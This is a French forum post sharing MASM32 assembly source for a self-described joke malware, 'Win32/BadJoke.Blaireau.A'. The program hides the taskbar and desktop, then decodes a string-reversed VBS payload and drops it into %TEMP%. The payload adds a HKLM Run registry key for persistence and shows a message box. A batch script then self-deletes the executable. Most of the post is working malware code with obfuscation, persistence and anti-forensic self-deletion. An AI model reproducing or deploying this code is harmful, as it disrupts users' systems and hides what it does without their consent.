Comment généré du script depuis MASM32

Description

Hello, ceci et un re-code de cette source visual basic 6: http://codes-sources.commentcamarche.net/forum/affich-7000797-comment-generer-du-script-depuis-visualbasic
Basiquement c'est juste de la manipulation de chaine, ça reverse un code VBS le drop et l'éxécute dans %TEMP%
ça cache aussi la taskbar et l'executable s'auto-suprime après exécution.
Quand au code du VBS c'est éxactement le même que celui de Mémere (le modérateur de VBFrance qui a pondu le code)
C'est a dire: créé une entré dans le registre pour qu'il démarre avec Windows et afficher une MessageBox

Je sais pas trop pourquoi a l'époque le code la m'avait tappé dans l'oeil et j'me suis dit pourquoi pas faire une rewrite en assembleur.
Ce code est plus une mauvaise blague qu'autre chose hein ;) mais ça permet de voir quelques opérations basique.

; Name: Win32/BadJoke.Blaireau.A
; Code: Xylitol - xylitol?temari.fr
; Size: 3Kb - 4b4726c7a9126b151d177f7c789f90bd
; Test: Windows XP SP3
; Date: 16/06/2014
; Desc: Hide the taskbar drop a VBS and auto-destruct
; This source is considered dangerous although this will not harm your computer.
; This was done for fun and entertainment purposes only.

;MAKE.BAT:
;@echo off
;set path=\masm32\bin
;set lib=\masm32\lib
;set name=Blaireau
;set rsrc=rsrc
;ml.exe /c /coff "%name%".asm
;link.exe /SUBSYSTEM:WINDOWS /opt:nowin98 /LIBPATH:"%lib%" "%name%".obj
;del *.OBJ
;pause
;@echo on
;cls

; #########################################################################

      .386
      .model flat, stdcall
      option casemap :none   ; case sensitive

; #########################################################################

      include \masm32\include\windows.inc
      include \masm32\include\user32.inc
      include \masm32\include\kernel32.inc
      include \masm32\include\shell32.inc
      include \masm32\macros\macros.asm
   
      includelib \masm32\lib\shell32.lib
      includelib \masm32\lib\user32.lib
      includelib \masm32\lib\kernel32.lib

; #########################################################################

.data?
szlen   dd  ?
szReversed  db   512 dup(?)
tmpFilePath  db   512 dup(?)
payload  db   512 dup(?)

.data
shell  db "Shell_TrayWnd",0
explorer db "Progman",0
Filename  db "Blaireau.vbs",0
Filename2  db "Blaireau.bat",0

payload1 db " tpircsw",022h,",",022h,"kcirreD\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\ENIHCAM_LACOL_YEKH",022h," etirWgeR.tideger",13,10
  db ")",022h,"llehS.tpircSW",022h,"(tcejbOetaerC = tideger teS",13,10
  db ")1(redloFlaicepSteG.osf = metsysrid teS",13,10
  db "txeN emuseR rorrE nO",13,10
  db ")",022h,"tcejbOmetsySeliF.gnitpircS",022h,"(tcejbOetaerC = osf teS",13,10
  db "metsysrid ,osf miD",0
   
payload2 db 022h,"ékiN T",022h," xobgsM",13,10
   db 022h,0
   
melt  db ":repeat",13,10
  db "if not exist ",022h,"blaireau.exe",022h," goto exit",13,10
  db "attrib -R -S -H ",022h,"blaireau.exe",022h,13,10
  db "erase ",022h,"blaireau.exe",13,10
  db "goto repeat",13,10
  db ":exit",13,10
  db "attrib -R -S -H ",022h,"Blaireau.bat",022h,13,10
  db "erase ",022h,"Blaireau.bat",022h,0

.code
start:
  invoke GetTempPath, 255,addr tmpFilePath
  invoke lstrcat,addr tmpFilePath,addr Filename
  
  invoke lstrlen, addr tmpFilePath
  mov ecx,eax
  mov esi, offset tmpFilePath
  call lstrrev
  
  invoke lstrcpy,addr payload,addr payload2
  invoke lstrcat,addr payload,addr szReversed
  invoke lstrcat,addr payload,addr payload1
  
DlgProc proc
  hWin :DWORD,
  uMsg :DWORD,
  wParam :DWORD,
  lParam :DWORD
 LOCAL hFile :DWORD,
  NumBytes:DWORD

invoke FindWindow,addr shell,NULL ;  Get handle first then hide it. 
.if eax != 0
    invoke ShowWindow,eax,SW_HIDE ; use SW_SHOW to show it again
.endif
invoke FindWindow,addr explorer,NULL
.if eax != 0
invoke ShowWindow,eax,SW_HIDE
.endif

  invoke lstrlen, addr payload
  mov ecx,eax
  mov esi, offset payload
  call lstrrev

  invoke lstrlen,addr szReversed
  mov szlen,eax

  invoke CreateFile,addr tmpFilePath,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
  mov hFile,eax
  invoke WriteFile, hFile,addr szReversed, szlen, addr NumBytes, NULL

  invoke CloseHandle,hFile 
  mov szlen,0

  invoke lstrlen,addr melt
  mov szlen,eax

  invoke CreateFile,addr Filename2,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
  mov hFile,eax
  invoke WriteFile, hFile,addr melt, szlen, addr NumBytes, NULL
  invoke CloseHandle,hFile 
  mov szlen,0
  
  invoke ShellExecute,hWin,chr$("open"),addr tmpFilePath,NULL,NULL,SW_SHOWNORMAL
  invoke ShellExecute,hWin,chr$("open"),addr Filename2,NULL,NULL,SW_HIDE
  push 0
  call ExitProcess

DlgProc endp

lstrrev proc
 lea edi, offset szReversed
 xor ebx, ebx
  Reversor:
   mov al, byte ptr[esi+ecx-1]
   mov byte ptr[edi+ebx], al
   inc ebx
   dec ecx
  jnz Reversor
   mov byte ptr[edi+ebx], 0
 Ret
lstrrev endp

end start

Codes Sources

A voir également

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.